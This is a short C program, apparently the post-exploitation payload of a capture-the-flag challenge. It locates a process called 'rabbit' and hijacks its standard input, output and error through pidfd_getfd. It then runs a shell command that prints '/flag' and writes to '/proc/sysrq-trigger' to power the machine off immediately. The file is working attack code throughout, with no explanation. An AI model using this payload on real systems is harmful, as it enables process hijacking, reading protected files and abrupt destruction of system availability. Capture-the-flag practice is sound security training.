#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <pthread.h>
#include <sys/prctl.h>

char buf[0x100];
char path[0x100];

int main() {
  FILE* fp = popen("pidof rabbit", "r");
  fread(buf, 1, 0x100, fp);
  fclose(fp);

  int pid = strtoull(buf, 0, 10);
  int pfd = syscall(SYS_pidfd_open, pid, 0);
  int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
  int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
  int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
  dup2(stdinfd, 0);
  dup2(stdoutfd, 1);
  dup2(stderrfd, 2);
  system("cat /flag; echo o>/proc/sysrq-trigger");
}

